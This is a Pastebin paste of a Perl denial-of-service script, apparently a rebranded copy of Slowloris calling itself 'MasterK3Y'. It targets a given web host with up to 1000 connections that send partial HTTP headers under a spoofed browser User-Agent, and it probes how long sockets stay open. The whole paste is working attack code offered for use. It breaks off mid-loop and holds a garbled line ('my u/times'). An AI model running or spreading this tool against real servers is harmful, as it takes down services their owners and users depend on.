Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl -w
- use strict;
- use IO::Socket::INET;
- use IO::Socket::SSL;
- use Getopt::Long;
- use Config;
- $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors
- print <<EOTEXT;
- Welcome to MasterK3Y - the low bandwidth, yet greedy and poisonous HTTP client Re3v1s3d By: K3YHoL3S3c
- EOTEXT
- my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
- my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
- my $result = GetOptions(
- 'shost=s' => \$shost,
- 'dns=s' => \$host,
- 'httpready' => \$httpready,
- 'num=i' => \$connections,
- 'cache' => \$cache,
- 'port=i' => \$port,
- 'https' => \$ssl,
- 'tcpto=i' => \$tcpto,
- 'test' => \$test,
- 'timeout=i' => \$timeout,
- 'version' => \$version,
- );
- if ($version) {
- print "Version 0.7\n";
- exit;
- }
- unless ($host) {
- print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
- print "\n\tType 'perldoc $0' for help with options.\n\n";
- exit;
- }
- unless ($port) {
- $port = 80;
- print "Defaulting to port 80.\n";
- }
- unless ($tcpto) {
- $tcpto = 5;
- print "Defaulting to a 5 second tcp connection timeout.\n";
- }
- unless ($test) {
- unless ($timeout) {
- $timeout = 100;
- print "Defaulting to a 100 second re-try timeout.\n";
- }
- unless ($connections) {
- $connections = 1000;
- print "Defaulting to 1000 connections.\n";
- }
- }
- my $usemultithreading = 0;
- if ( $Config{usethreads} ) {
- print "Multithreading enabled.\n";
- $usemultithreading = 1;
- use threads;
- use threads::shared;
- }
- else {
- print "No multithreading capabilites found!\n";
- print "Slowloris will be slower than normal as a result.\n";
- }
- my $packetcount : shared = 0;
- my $failed : shared = 0;
- my $connectioncount : shared = 0;
- srand() if ($cache);
- if ($shost) {
- $sendhost = $shost;
- }
- else {
- $sendhost = $host;
- }
- if ($httpready) {
- $method = "POST";
- }
- else {
- $method = "GET";
- }
- if ($test) {
- my u/times = ( "2", "30", "90", "240", "500" );
- my $totaltime = 0;
- foreach (@times) {
- $totaltime = $totaltime + $_;
- }
- $totaltime = $totaltime / 60;
- print "This test could take up to $totaltime minutes.\n";
- my $delay = 0;
- my $working = 0;
- my $sock;
- if ($ssl) {
- if (
- $sock = new IO::Socket::SSL(
- PeerAddr => "$host",
- PeerPort => "$port",
- Timeout => "$tcpto",
- Proto => "tcp",
- )
- )
- {
- $working = 1;
- }
- }
- else {
- if (
- $sock = new IO::Socket::INET(
- PeerAddr => "$host",
- PeerPort => "$port",
- Timeout => "$tcpto",
- Proto => "tcp",
- )
- )
- {
- $working = 1;
- }
- }
- if ($working) {
- if ($cache) {
- $rand = "?" . int( rand(99999999999999) );
- }
- else {
- $rand = "";
- }
- my $primarypayload =
- "GET /$rand HTTP/1.1\r\n"
- . "Host: $sendhost\r\n"
- . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
- . "Content-Length: 42\r\n";
- if ( print $sock $primarypayload ) {
- print "Connection successful, now comes the waiting game...\n";
- }
- else {
- print
- "That's odd - I connected but couldn't send the data to $host:$port.\n";
- print "Is something wrong?\nDying.\n";
- exit;
- }
- }
- else {
- print "Uhm... I can't connect to $host:$port.\n";
- print "Is something wrong?\nDying.\n";
- exit;
- }
- for ( my $i = 0 ; $i <= $#times ; $i++ ) {
- print "Trying a $times[$i] second delay: \n";
- sleep( $times[$i] );
- if ( print $sock "X-a: b\r\n" ) {
- print "\tWorked.\n";
- $delay = $times[$i];
Add Comment
Please, Sign In to add comment